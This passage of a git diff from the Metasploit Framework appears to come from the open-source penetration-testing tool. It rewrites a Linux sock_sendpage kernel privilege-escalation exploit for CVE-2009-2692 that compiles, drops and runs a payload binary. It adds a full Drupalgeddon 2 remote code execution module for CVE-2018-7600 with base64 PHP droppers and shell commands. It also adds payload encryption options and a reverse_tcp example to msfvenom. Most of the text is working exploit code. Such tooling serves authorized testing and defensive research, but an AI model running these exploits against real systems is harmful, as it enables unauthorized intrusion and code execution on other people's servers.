+ cmd_exec('cat /proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1'
+ rescue
+ raise 'Could not determine kernel.kptr_restrict status'
+ end
+
+ #
+ # Returns true if dmesg restriction is enabled
+ #
+ # @return [Boolean]
+ #
+ def dmesg_restrict?
+ cmd_exec('cat /proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1'
+ rescue
+ raise 'Could not determine kernel.dmesg_restrict status'
+ end
+
+ #
+ # Returns mmap minimum address
+ #
+ # @return [Integer]
+ #
+ def mmap_min_addr
+ mmap_min_addr = cmd_exec('cat /proc/sys/vm/mmap_min_addr').to_s.strip
+ return 0 unless mmap_min_addr =~ /\A\d+\z/
+ mmap_min_addr
+ rescue
+ raise 'Could not determine system mmap_min_addr'
+ end
+
+ #
+ # Returns true if SELinux is installed
+ #
+ # @return [Boolean]
+ #
+ def selinux_installed?
+ cmd_exec('id').to_s.include? 'context='
+ rescue
+ raise 'Could not determine SELinux status'
+ end
+
+ #
+ # Returns true if SELinux is in enforcing mode
+ #
+ # @return [Boolean]
+ #
+ def selinux_enforcing?
+ return false unless selinux_installed?
+
+ sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip
+ raise unless sestatus.include?('SELinux')
+
+ return true if sestatus =~ /Current mode:\s*enforcing/
+ false
+ rescue
+ raise 'Could not determine SELinux status'
+ end
+
+ #
+ # Returns true if Yama is installed
+ #
+ # @return [Boolean]
+ #
+ def yama_installed?
+ ptrace_scope = cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip
+ return true if ptrace_scope =~ /\A\d\z/
+ false
+ rescue
+ raise 'Could not determine Yama status'
+ end
+
+ #
+ # Returns true if Yama is enabled
+ #
+ # @return [Boolean]
+ #
+ def yama_enabled?
+ return false unless yama_installed?
+ !cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0'
+ rescue
+ raise 'Could not determine Yama status'
+ end
end # Kernel
end # Linux
end # Post
diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index 621f920936..cf2d106146 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -1994,7 +1994,7 @@ class Db
framework.db.register_data_service(remote_data_service)
print_line "Registered data service: #{remote_data_service.name}"
framework.db.workspace = framework.db.default_workspace
- rescue Exception => e
+ rescue => e
print_error "There was a problem registering the remote data service: #{e.message}"
end
end
@@ -2004,7 +2004,7 @@ class Db
data_service = framework.db.set_data_service(service_id)
framework.db.workspace = framework.db.default_workspace
data_service
- rescue Exception => e
+ rescue => e
print_error "Unable to set data service: #{e.message}"
end
end
diff --git a/lib/rex.rb b/lib/rex.rb
index a59bd4bd4d..008ad89555 100644
--- a/lib/rex.rb
+++ b/lib/rex.rb
@@ -114,6 +114,10 @@ require 'rex/compat'
require 'rex/sslscan/scanner'
require 'rex/sslscan/result'
+# Cryptography
+require 'rex/crypto/aes256'
+require 'rex/crypto/rc4'
+
# Overload the Kernel.sleep() function to be thread-safe
Kernel.class_eval("
diff --git a/lib/rex/crypto/aes256.rb b/lib/rex/crypto/aes256.rb
new file mode 100644
index 0000000000..036bba7c5b
--- /dev/null
+++ b/lib/rex/crypto/aes256.rb
@@ -0,0 +1,33 @@
+# -*- coding: binary -*-
+
+module Rex
+ module Crypto
+
+ # Returns an encrypted string using AES256-CBC.
+ #
+ # @param iv [String] Initialization vector.
+ # @param key [String] Secret key.
+ # @return [String] The encrypted string.
+ def self.encrypt_aes256(iv, key, value)
+ aes = OpenSSL::Cipher::AES256.new(:CBC)
+ aes.encrypt
+ aes.iv = iv
+ aes.key = key
+ aes.update(value) + aes.final
+ end
+
+ # Returns a decrypted string using AES256-CBC.
+ #
+ # @param iv [String] Initialization vector.
+ # @param key [String] Secret key.
+ # @return [String] The decrypted string.
+ def self.decrypt_aes256(iv, key, value)
+ aes = OpenSSL::Cipher::AES256.new(:CBC)
+ aes.decrypt
+ aes.iv = iv
+ aes.key = key
+ aes.update(value) + aes.final
+ end
+
+ end
+end
\ No newline at end of file
diff --git a/lib/rex/crypto/rc4.rb b/lib/rex/crypto/rc4.rb
new file mode 100644
index 0000000000..b3e3a016be
--- /dev/null
+++ b/lib/rex/crypto/rc4.rb
@@ -0,0 +1,20 @@
+# -*- coding: binary -*-
+
+require 'rc4'
+
+module Rex
+ module Crypto
+
+ # Returns a decrypted or encrypted RC4 string.
+ #
+ # @param key [String] Secret key.
+ # @param [String]
+ def self.rc4(key, value)
+ rc4 = RC4.new(key)
+
+ # This can also be used to decrypt
+ rc4.encrypt(value)
+ end
+
+ end
+end
\ No newline at end of file
diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb
index 1e27130525..d49985f977 100644
--- a/modules/exploits/linux/local/sock_sendpage.rb
+++ b/modules/exploits/linux/local/sock_sendpage.rb
@@ -10,84 +10,152 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
- include Msf::Exploit::EXE
include Msf::Post::File
-
+ include Msf::Post::Linux::Priv
+ include Msf::Post::Linux::Kernel
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
- def initialize(info={})
- super( update_info( info, {
- 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
- 'Description' => %q{
- The Linux kernel failed to properly initialize some entries the
- proto_ops struct for several protocols, leading to NULL being
- dereferenced and used as a function pointer. By using mmap(2) to map
- page 0, an attacker can execute arbitrary code in the context of the
- kernel.
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
+ 'Description' => %q{
+ The Linux kernel failed to properly initialize some entries in the
+ proto_ops struct for several protocols, leading to NULL being
+ dereferenced and used as a function pointer. By using mmap(2) to map
+ page 0, an attacker can execute arbitrary code in the context of the
+ kernel.
- Several public exploits exist for this vulnerability, including
- spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
+ Several public exploits exist for this vulnerability, including
+ spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
- All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
- 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Tavis Ormandy', # discovery
- 'Julien Tinnes ', # discovery
- 'spender', # wunderbar_emporium.tgz
- 'rcvalle', # sock_sendpage.c
- 'egypt' # metasploit module
- ],
- 'Platform' => [ 'linux' ],
- 'Arch' => [ ARCH_X86 ],
- 'SessionTypes' => [ 'shell', 'meterpreter' ],
- 'References' =>
- [
- [ 'CVE', '2009-2692' ],
- [ 'OSVDB', '56992' ],
- [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
- ],
- 'Targets' =>
- [
- [ 'Linux x86', { 'Arch' => ARCH_X86 } ]
- ],
- 'DefaultTarget' => 0,
- 'DisclosureDate' => "Aug 13 2009",
- }
- ))
- register_options([
- OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
- ])
- register_options([
- OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
- ])
+ All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
+ 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
+
+ This module has been tested successfully on CentOS 5.0 (i386) with
+ kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
+ kernel version 2.4.27-3-386.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Tavis Ormandy', # discovery
+ 'Julien Tinnes ', # discovery
+ 'spender', # wunderbar_emporium.tgz
+ 'rcvalle', # sock_sendpage.c
+ 'egypt' # metasploit module
+ ],
+ 'Platform' => [ 'linux' ],
+ 'Arch' => [ ARCH_X86 ],
+ 'SessionTypes' => [ 'shell', 'meterpreter' ],
+ 'References' =>
+ [
+ [ 'CVE', '2009-2692' ],
+ [ 'EDB', '9545' ],
+ [ 'EDB', '9641' ],
+ [ 'BID', '36038' ],
+ [ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
+ [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
+ ],
+ 'Targets' =>
+ [
+ [ 'Linux x86', { 'Arch' => ARCH_X86 } ]
+ ],
+ 'DisclosureDate' => 'Aug 13 2009',
+ 'DefaultTarget' => 0))
+ register_options [
+ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
+ OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
+ ]
end
- def executable_path
- @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
+ def base_dir
+ datastore['WritableDir']
+ end
- @executable_path
+ def upload(path, data)
+ print_status "Writing '#{path}' (#{data.size} bytes) ..."
+ rm_f path
+ write_file path, data
+ register_file_for_cleanup path
+ end
+
+ def check
+ version = Gem::Version.new kernel_release.split('-').first
+
+ if version.to_s.eql? ''
+ vprint_error 'Could not determine the kernel version'
+ return CheckCode::Unknown
+ end
+
+ if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
+ version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
+ vprint_good "Kernel version #{version} appears to be vulnerable"
+ else
+ vprint_error "Kernel version #{version} is not vulnerable"
+ return CheckCode::Safe
+ end
+
+ arch = kernel_hardware
+ unless arch.include?('x86') || arch =~ /i\d86/
+ vprint_error "System architecture #{arch} is not supported"
+ return CheckCode::Safe
+ end
+ if arch.include? 'x86_64'
+ vprint_error "System architecture #{arch} is not supported"
+ return CheckCode::Safe
+ end
+ vprint_good "System architecture #{arch} is supported"
+
+ mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
+ if file_exist? mmap_min_addr_path
+ mmap_min_addr = read_file mmap_min_addr_path
+ else
+ mmap_min_addr = ''
+ end
+
+ case mmap_min_addr
+ when ''
+ vprint_good 'vm.mmap_min_addr is not set'
+ when '0'
+ vprint_good 'vm.mmap_min_addr is zero'
+ else
+ vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
+ return CheckCode::Safe
+ end
+
+ CheckCode::Appears
end
def exploit
- sc = Metasm::ELF.new(@cpu)
+ if check == CheckCode::Safe
+ fail_with Failure::NotVulnerable, 'Target is not vulnerable'
+ end
+
+ if is_root?
+ fail_with Failure::BadConfig, 'Session already has root privileges'
+ end
+
+ unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
+ fail_with Failure::BadConfig, "#{base_dir} is not writable"
+ end
+
+ sc = Metasm::ELF.new @cpu
sc.parse %Q|
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
#endif
|
- current_task_struct_h(sc)
- if datastore["DEBUG_EXPLOIT"]
+ current_task_struct_h sc
+
+ if datastore['DEBUG_EXPLOIT']
cparser.parse "#define DEBUG\n"
end
- case target.arch.first
- when ARCH_X86
- main = %q^
+ main = %q^
struct _IO_FILE;
typedef void _IO_lock_t;
@@ -244,6 +312,7 @@ int *apparmor_enabled;
int got_ring0 = 0;
unsigned long uid, gid;
+/*
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
@@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
fclose(f);
return 0;
}
-
+*/
static void
change_cred(void)
@@ -403,24 +472,22 @@ int main(int argc, char **argv) {
return got_ring0;
}
-
^
- main.gsub!(/SHELLCODE/) do
- # Split the payload into chunks and dump it out as a hex-escaped
- # literal C string.
- Rex::Text.to_c(payload.encoded, 64, "shellcode")
- end
- main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
- cparser.parse(main, "main.c")
- #$stderr.puts cparser.factorize
- #return
-
- asm = cpu.new_ccompiler(cparser, sc).compile
-
- sc.parse asm
+ main.gsub!(/SHELLCODE/) do
+ # Split the payload into chunks and dump it out as a hex-escaped
+ # literal C string.
+ Rex::Text.to_c payload.encoded, 64, 'shellcode'
end
+ main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
+ cparser.parse main, 'main.c'
+ #$stderr.puts cparser.factorize
+ #return
+
+ asm = cpu.new_ccompiler(cparser, sc).compile
+
+ sc.parse asm
sc.assemble
sc.c_set_default_entrypoint
@@ -429,7 +496,7 @@ int main(int argc, char **argv) {
elf = sc.encode_string
else
foo = sc.encode_string
- elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
+ elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
end
rescue
print_error "Metasm Encoding failed: #{$!}"
@@ -438,11 +505,13 @@ int main(int argc, char **argv) {
return
end
- print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
- rm_f executable_path
- write_file(executable_path, elf)
- output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
- output.each_line { |line| vprint_status(line.chomp) }
+ payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
+ upload payload_path, elf
+ cmd_exec "chmod +x #{payload_path}"
+
+ print_status 'Executing payload...'
+ output = cmd_exec payload_path
+ output.each_line { |line| vprint_status line.chomp }
end
end
diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
new file mode 100644
index 0000000000..59bce898c4
--- /dev/null
+++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
@@ -0,0 +1,443 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ # XXX: CmdStager can't handle badchars
+ include Msf::Exploit::PhpEXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
+ 'Description' => %q{
+ This module exploits a Drupal property injection in the Forms API.
+
+ Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
+ },
+ 'Author' => [
+ 'Jasper Mattsson', # Vulnerability discovery
+ 'a2u', # Proof of concept (Drupal 8.x)
+ 'Nixawk', # Proof of concept (Drupal 8.x)
+ 'FireFart', # Proof of concept (Drupal 7.x)
+ 'wvu' # Metasploit module
+ ],
+ 'References' => [
+ ['CVE', '2018-7600'],
+ ['URL', 'https://www.drupal.org/sa-core-2018-002'],
+ ['URL', 'https://greysec.net/showthread.php?tid=2912'],
+ ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
+ ['URL', 'https://github.com/a2u/CVE-2018-7600'],
+ ['URL', 'https://github.com/nixawk/labs/issues/19'],
+ ['URL', 'https://github.com/FireFart/CVE-2018-7600'],
+ ['AKA', 'SA-CORE-2018-002'],
+ ['AKA', 'Drupalgeddon 2']
+ ],
+ 'DisclosureDate' => 'Mar 28 2018',
+ 'License' => MSF_LICENSE,
+ 'Platform' => ['php', 'unix', 'linux'],
+ 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
+ 'Privileged' => false,
+ 'Payload' => {'BadChars' => '&>\''},
+ # XXX: Using "x" in Gem::Version::new isn't technically appropriate
+ 'Targets' => [
+ #
+ # Automatic targets (PHP, cmd/unix, native)
+ #
+ ['Automatic (PHP In-Memory)',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Type' => :php_memory
+ ],
+ ['Automatic (PHP Dropper)',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Type' => :php_dropper
+ ],
+ ['Automatic (Unix In-Memory)',
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Type' => :unix_memory
+ ],
+ ['Automatic (Linux Dropper)',
+ 'Platform' => 'linux',
+ 'Arch' => [ARCH_X86, ARCH_X64],
+ 'Type' => :linux_dropper
+ ],
+ #
+ # Drupal 7.x targets (PHP, cmd/unix, native)
+ #
+ ['Drupal 7.x (PHP In-Memory)',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Version' => Gem::Version.new('7.x'),
+ 'Type' => :php_memory
+ ],
+ ['Drupal 7.x (PHP Dropper)',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Version' => Gem::Version.new('7.x'),
+ 'Type' => :php_dropper
+ ],
+ ['Drupal 7.x (Unix In-Memory)',
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Version' => Gem::Version.new('7.x'),
+ 'Type' => :unix_memory
+ ],
+ ['Drupal 7.x (Linux Dropper)',
+ 'Platform' => 'linux',
+ 'Arch' => [ARCH_X86, ARCH_X64],
+ 'Version' => Gem::Version.new('7.x'),
+ 'Type' => :linux_dropper
+ ],
+ #
+ # Drupal 8.x targets (PHP, cmd/unix, native)
+ #
+ ['Drupal 8.x (PHP In-Memory)',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Version' => Gem::Version.new('8.x'),
+ 'Type' => :php_memory
+ ],
+ ['Drupal 8.x (PHP Dropper)',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Version' => Gem::Version.new('8.x'),
+ 'Type' => :php_dropper
+ ],
+ ['Drupal 8.x (Unix In-Memory)',
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Version' => Gem::Version.new('8.x'),
+ 'Type' => :unix_memory
+ ],
+ ['Drupal 8.x (Linux Dropper)',
+ 'Platform' => 'linux',
+ 'Arch' => [ARCH_X86, ARCH_X64],
+ 'Version' => Gem::Version.new('8.x'),
+ 'Type' => :linux_dropper
+ ]
+ ],
+ 'DefaultTarget' => 0, # Automatic (PHP In-Memory)
+ 'DefaultOptions' => {'WfsDelay' => 2}
+ ))
+
+ register_options([
+ OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
+ OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
+ OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
+ ])
+
+ register_advanced_options([
+ OptBool.new('ForceExploit', [false, 'Override check result', false]),
+ OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
+ ])
+ end
+
+ def check
+ checkcode = CheckCode::Safe
+
+ if drupal_version
+ print_status("Drupal #{@version} targeted at #{full_uri}")
+ checkcode = CheckCode::Detected
+ else
+ print_error('Could not determine Drupal version to target')
+ return CheckCode::Unknown
+ end
+
+ if drupal_unpatched?
+ print_good('Drupal appears unpatched in CHANGELOG.txt')
+ checkcode = CheckCode::Appears
+ end
+
+ token = random_crap
+ res = execute_command(token, func: 'printf')
+
+ if res && res.body.start_with?(token)
+ checkcode = CheckCode::Vulnerable
+ end
+
+ checkcode
+ end
+
+ def exploit
+ unless check == CheckCode::Vulnerable || datastore['ForceExploit']
+ fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
+ end
+
+ if datastore['PAYLOAD'] == 'cmd/unix/generic'
+ print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
+ # XXX: Naughty datastore modification
+ datastore['DUMP_OUTPUT'] = true
+ end
+
+ # NOTE: assert() is attempted first, then PHP_FUNC if that fails
+ case target['Type']
+ when :php_memory
+ execute_command(payload.encoded, func: 'assert')
+
+ sleep(wfs_delay)
+ return if session_created?
+
+ # XXX: This will spawn a *very* obvious process
+ execute_command("php -r '#{payload.encoded}'")
+ when :unix_memory
+ execute_command(payload.encoded)
+ when :php_dropper, :linux_dropper
+ dropper_assert
+
+ sleep(wfs_delay)
+ return if session_created?
+
+ dropper_exec
+ end
+ end
+
+ def dropper_assert
+ php_file = Pathname.new(
+ "#{datastore['WritableDir']}/#{random_crap}.php"
+ ).cleanpath
+
+ # Return the PHP payload or a PHP binary dropper
+ dropper = get_write_exec_payload(
+ writable_path: datastore['WritableDir'],
+ unlink_self: true # Worth a shot
+ )
+
+ # Encode away potential badchars with Base64
+ dropper = Rex::Text.encode_base64(dropper)
+
+ # Stage 1 decodes the PHP and writes it to disk
+ stage1 = %Q{
+ file_put_contents("#{php_file}", base64_decode("#{dropper}"));
+ }
+
+ # Stage 2 executes said PHP in-process
+ stage2 = %Q{
+ include_once("#{php_file}");
+ }
+
+ # :unlink_self may not work, so let's make sure
+ register_file_for_cleanup(php_file)
+
+ # Hopefully pop our shell with assert()
+ execute_command(stage1.strip, func: 'assert')
+ execute_command(stage2.strip, func: 'assert')
+ end
+
+ def dropper_exec
+ php_file = "#{random_crap}.php"
+ tmp_file = Pathname.new(
+ "#{datastore['WritableDir']}/#{php_file}"
+ ).cleanpath
+
+ # Return the PHP payload or a PHP binary dropper
+ dropper = get_write_exec_payload(
+ writable_path: datastore['WritableDir'],
+ unlink_self: true # Worth a shot
+ )
+
+ # Encode away potential badchars with Base64
+ dropper = Rex::Text.encode_base64(dropper)
+
+ # :unlink_self may not work, so let's make sure
+ register_file_for_cleanup(php_file)
+
+ # Write the payload or dropper to disk (!)
+ # NOTE: Analysis indicates > is a badchar for 8.x
+ execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
+
+ # Attempt in-process execution of our PHP script
+ send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, php_file)
+ )
+
+ sleep(wfs_delay)
+ return if session_created?
+
+ # Try to get a shell with PHP CLI
+ execute_command("php #{php_file}")
+
+ sleep(wfs_delay)
+ return if session_created?
+
+ register_file_for_cleanup(tmp_file)
+
+ # Fall back on our temp file
+ execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
+ execute_command("php #{tmp_file}")
+ end
+
+ def execute_command(cmd, opts = {})
+ func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
+
+ vprint_status("Executing with #{func}(): #{cmd}")
+
+ res =
+ case @version.to_s
+ when '7.x'
+ exploit_drupal7(func, cmd)
+ when '8.x'
+ exploit_drupal8(func, cmd)
+ end
+
+ if res && res.code != 200
+ print_error("Unexpected reply: #{res.inspect}")
+ return
+ end
+
+ if res && datastore['DUMP_OUTPUT']
+ print_line(res.body)
+ end
+
+ res
+ end
+
+ def drupal_version
+ if target['Version']
+ @version = target['Version']
+ return @version
+ end
+
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => target_uri.path
+ )
+
+ return unless res && res.code == 200
+
+ # Check for an X-Generator header
+ @version =
+ case res.headers['X-Generator']
+ when /Drupal 7/
+ Gem::Version.new('7.x')
+ when /Drupal 8/
+ Gem::Version.new('8.x')
+ end
+
+ return @version if @version
+
+ # Check for a tag
+ generator = res.get_html_document.at(
+ '//meta[@name = "Generator"]/@content'
+ )
+
+ return unless generator
+
+ @version =
+ case generator.value
+ when /Drupal 7/
+ Gem::Version.new('7.x')
+ when /Drupal 8/
+ Gem::Version.new('8.x')
+ end
+ end
+
+ def drupal_unpatched?
+ unpatched = true
+
+ # Check for patch level in CHANGELOG.txt
+ uri =
+ case @version.to_s
+ when '7.x'
+ normalize_uri(target_uri.path, 'CHANGELOG.txt')
+ when '8.x'
+ normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
+ end
+
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => uri
+ )
+
+ return unless res && res.code == 200
+
+ if res.body.include?('SA-CORE-2018-002')
+ unpatched = false
+ end
+
+ unpatched
+ end
+
+ def exploit_drupal7(func, code)
+ vars_get = {
+ 'q' => 'user/password',
+ 'name[#post_render][]' => func,
+ 'name[#markup]' => code,
+ 'name[#type]' => 'markup'
+ }
+
+ vars_post = {
+ 'form_id' => 'user_pass',
+ '_triggering_element_name' => 'name'
+ }
+
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => target_uri.path,
+ 'vars_get' => vars_get,
+ 'vars_post' => vars_post
+ )
+
+ return res unless res && res.code == 200
+
+ form_build_id = res.get_html_document.at(
+ '//input[@name = "form_build_id"]/@value'
+ )
+
+ return res unless form_build_id
+
+ vars_get = {
+ 'q' => "file/ajax/name/#value/#{form_build_id.value}"
+ }
+
+ vars_post = {
+ 'form_build_id' => form_build_id.value
+ }
+
+ send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => target_uri.path,
+ 'vars_get' => vars_get,
+ 'vars_post' => vars_post
+ )
+ end
+
+ def exploit_drupal8(func, code)
+ # Clean URLs are enabled by default and "can't" be disabled
+ uri = normalize_uri(target_uri.path, 'user/register')
+
+ vars_get = {
+ 'element_parents' => 'account/mail/#value',
+ 'ajax_form' => 1,
+ '_wrapper_format' => 'drupal_ajax'
+ }
+
+ vars_post = {
+ 'form_id' => 'user_register_form',
+ '_drupal_ajax' => 1,
+ 'mail[#type]' => 'markup',
+ 'mail[#post_render][]' => func,
+ 'mail[#markup]' => code
+ }
+
+ send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => uri,
+ 'vars_get' => vars_get,
+ 'vars_post' => vars_post
+ )
+ end
+
+ def random_crap
+ Rex::Text.rand_text_alphanumeric(8..42)
+ end
+
+end
diff --git a/msfvenom b/msfvenom
index 2e292a546c..6b761ae6a4 100755
--- a/msfvenom
+++ b/msfvenom
@@ -63,12 +63,13 @@ def parse_args(args)
opt = OptionParser.new
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
banner << "Also a replacement for msfpayload and msfencode.\n"
- banner << "Usage: #{$0} [options] "
+ banner << "Usage: #{$0} [options] \n"
+ banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe"
opt.banner = banner
opt.separator('')
opt.separator('Options:')
- opt.on('-p', '--payload ', String,
+ opt.on('-p', '--payload ', String,
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
if p == '-'
opts[:payload] = 'stdin'
@@ -81,18 +82,18 @@ def parse_args(args)
opts[:list_options] = true
end
- opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
+ opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
if l.nil? or l.empty?
l = ["all"]
end
opts[:list] = l
end
- opt.on('-n', '--nopsled ', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
+ opt.on('-n', '--nopsled ', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
opts[:nops] = n.to_i
end
- opt.on('-f', '--format ', String, "Output format (use --help-formats for a list)") do |f|
+ opt.on('-f', '--format ', String, "Output format (use --help-formats for a list)") do |f|
opts[:format] = f
end
@@ -105,15 +106,34 @@ def parse_args(args)
raise HelpError, msg
end
- opt.on('-e', '--encoder ', String, 'The encoder to use') do |e|
+ opt.on('--encrypt ', String, 'The type of encryption or encoding to apply to the shellcode') do |e|
+ opts[:encryption_format] = e
+ end
+
+ opt.on('--encrypt-formats', String, 'List Available encryption formats') do
+ init_framework(:module_types => [])
+ msg = "Encryption formats:\n" +
+ "\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ")
+ raise HelpError, msg
+ end
+
+ opt.on('--encrypt-key ', String, 'A key to be used for the encryptor') do |e|
+ opts[:encryption_key] = e
+ end
+
+ opt.on('--encrypt-iv ', String, 'An initialization vector for the encryption') do |e|
+ opts[:encryption_iv] = e
+ end
+
+ opt.on('-e', '--encoder ', String, 'The encoder to use') do |e|
opts[:encoder] = e
end
- opt.on('-a', '--arch ', String, 'The architecture to use') do |a|
+ opt.on('-a', '--arch ', String, 'The architecture to use') do |a|
opts[:arch] = a
end
- opt.on('--platform ', String, 'The platform of the payload') do |l|
+ opt.on('--platform ', String, 'The platform of the payload') do |l|
opts[:platform] = l
end
@@ -126,28 +146,28 @@ def parse_args(args)
raise HelpError, msg
end
- opt.on('-s', '--space ', Integer, 'The maximum size of the resulting payload') do |s|
+ opt.on('-s', '--space ', Integer, 'The maximum size of the resulting payload') do |s|
opts[:space] = s
end
- opt.on('--encoder-space ', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
+ opt.on('--encoder-space ', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
opts[:encoder_space] = s
end
- opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
+ opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
init_framework()
opts[:badchars] = Rex::Text.hex_to_raw(b)
end
- opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i|
+ opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i|
opts[:iterations] = i
end
- opt.on('-c', '--add-code ', String, 'Specify an additional win32 shellcode file to include') do |x|
+ opt.on('-c', '--add-code ', String, 'Specify an additional win32 shellcode file to include') do |x|
opts[:add_code] = x
end
- opt.on('-x', '--template ', String, 'Specify a custom executable file to use as a template') do |x|
+ opt.on('-x', '--template ', String, 'Specify a custom executable file to use as a template') do |x|
opts[:template] = x
end
@@ -155,11 +175,11 @@ def parse_args(args)
opts[:keep] = true
end
- opt.on('-o', '--out ', 'Save the payload') do |x|
+ opt.on('-o', '--out ', 'Save the payload') do |x|
opts[:out] = x
end
- opt.on('-v', '--var-name ', String, 'Specify a custom variable name to use for certain output formats') do |x|
+ opt.on('-v', '--var-name ', String, 'Specify a custom variable name to use for certain output formats') do |x|
opts[:var_name] = x
end
@@ -336,8 +356,8 @@ if generator_opts[:list_options]
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
